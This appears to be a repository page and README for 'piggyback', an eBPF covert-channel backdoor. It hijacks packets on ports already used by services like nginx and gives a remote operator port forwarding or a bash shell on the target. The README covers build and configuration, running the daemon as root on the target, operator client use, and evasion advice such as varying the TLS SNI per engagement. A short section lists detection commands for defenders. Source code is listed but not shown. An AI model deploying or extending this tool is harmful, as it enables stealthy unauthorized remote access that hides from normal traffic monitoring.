Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, forwards or executes per the client's instruction. Normal traffic is unaffected. Zero changes to existing services.
Go to file
2026-04-04 18:03:43 +02:00
Makefile initial commit 2026-04-04 18:03:43 +02:00
pb-client.c initial commit 2026-04-04 18:03:43 +02:00
piggyback.bpf.c initial commit 2026-04-04 18:03:43 +02:00
piggyback.c initial commit 2026-04-04 18:03:43 +02:00
README.md initial commit 2026-04-04 18:03:43 +02:00

piggyback

Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, and forwards or executes them. Normal traffic is unaffected. Zero changes to existing services.

Mode 1 — Plain TCP
  Client                        Server (:80)
    │── TCP packet ────────────→ TC eBPF ingress
    │   [MAGIC][header][payload] magic match?
    │                              YES → TC_ACT_STOLEN → daemon
    │                              NO  → TC_ACT_OK → app (nginx etc.)

Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
  Client              Middleware (:443)       Server (:80)
    │── valid TLS ──→ │                         │
    │   [MAGIC]       │── [MAGIC][...] ────────→ TC eBPF ingress
    │   inside        │   (inner bytes fwd)     magic match? → same as Mode 1

Mode 2 is identical server-side. Client establishes real TLS with a configurable SNI so middleware routing works. Server never handles TLS — simpler, smaller surface.


Requirements

  • Linux 5.8+ (ring buffer + sk_lookup)
  • Root / CAP_NET_ADMIN + CAP_BPF
  • libbpf, clang, llvm, bpftool, libsodium, libssl
# Fedora
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
# Debian/Ubuntu
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev

Configuration

All config is compile-time. Edit the constants at the top of each file, then make.

piggyback.bpf.c — eBPF kernel program

#define PORTS   { 80, 8080 }   // TCP ports to watch (must match daemon LISTEN_PORT)
#define PORTS_N 2
#define MAGIC   "\xDE\xAD\xC0\xDE\xCA\xFE"  // magic byte sequence (keep in sync)

piggyback.c — server daemon

#define IFACE        ""            // "" = auto-detect default-route interface
#define LISTEN_PORT  80            // must match eBPF PORTS array
#define FWD_HOST     "127.0.0.1"   // default forward target (no-auth mode)
#define FWD_PORT     22            // default forward target port
#define SERVER_IP    "1.2.3.4"     // own public IPv4 (used in sig replay check)
#define VERBOSE      0

#define AUTH_ENABLED 0             // 1 = require Ed25519 signature on every connection
#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... }  // 32-byte pubkey from `make keygen`

pb-client.c — client

#define SERVER_IP     "1.2.3.4"
#define SERVER_PORT   80
#define LOCAL_PORT    2222         // ssh -p 2222 localhost

#define CLIENT_MODE   MODE_TCP     // MODE_TCP or MODE_TLS
#define SNI           ""           // required for MODE_TLS — change per engagement

#define KEY_PATH      ""           // Ed25519 private key PEM, or "" to disable auth
#define CLIENT_ACTION ACTION_FORWARD   // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP     "127.0.0.1"  // forward target (ACTION_FORWARD)
#define TARGET_PORT   22
#define SHELL_CMD     "bash"       // (ACTION_SHELL)

SNI note: using the same SNI across deployments is a fingerprint. Change per engagement.


Build

make

Generate Ed25519 keypair (for auth)

make keygen
# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target)

Usage

# Server (target machine)
sudo ./piggyback

# Client (operator machine)
./pb-client

# Then connect locally
ssh -p 2222 user@localhost

No CLI flags — all config is baked into the binary at compile time.


Auth flow (AUTH_ENABLED=1)

  1. make keygen — generate Ed25519 keypair
  2. Set TRUSTED_PUBKEY in piggyback.c, AUTH_ENABLED=1, recompile daemon
  3. Set KEY_PATH in pb-client.c, recompile client
  4. Client sends: MAGIC (6 bytes) + signed 80-byte header + optional shell cmd
  5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring
  6. On pass: dispatches action from header (ACTION_FORWARD or ACTION_SHELL)
  7. On fail: connection dropped silently

Signed header format (80 bytes):

[0..7]   unix timestamp, big-endian uint64
[8]      action (0x01 = forward, 0x02 = shell)
[9..12]  target IPv4 (forward) or zeros
[13..14] target port big-endian or zeros
[15]     reserved
[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes)

Signature covers SERVER_IP — a captured packet cannot be replayed to a different host.


Detection (Blue Team)

tc filter show dev eth0 ingress   # TC eBPF filters on interface
bpftool prog list                  # all loaded eBPF programs
bpftool map list                   # eBPF maps (look for conn_state, pending, daemon_sock)

Baseline bpftool prog list on clean systems. Alert on new TC ingress programs on internet-facing interfaces.


Known Limitations

  • ACTION_FORWARD target is IPv4 only — the signed header has 4 bytes for target IP; IPv6 forward targets require header format extension
  • Replay ring is size-bounded — 256 entries evicted by overwrite, not by time expiry; with REPLAY_WINDOW_SEC=30 this is sufficient for normal use
  • sk_lookup may fail on some kernels — daemon logs a warning and falls back to connect-back mode (works except behind strict NAT)
  • Magic must fit in first ~6 TCP payload bytes — split across segments handled by per-connection eBPF state machine, but only within a 6-byte sliding window per packet; edge cases with very small MSS possible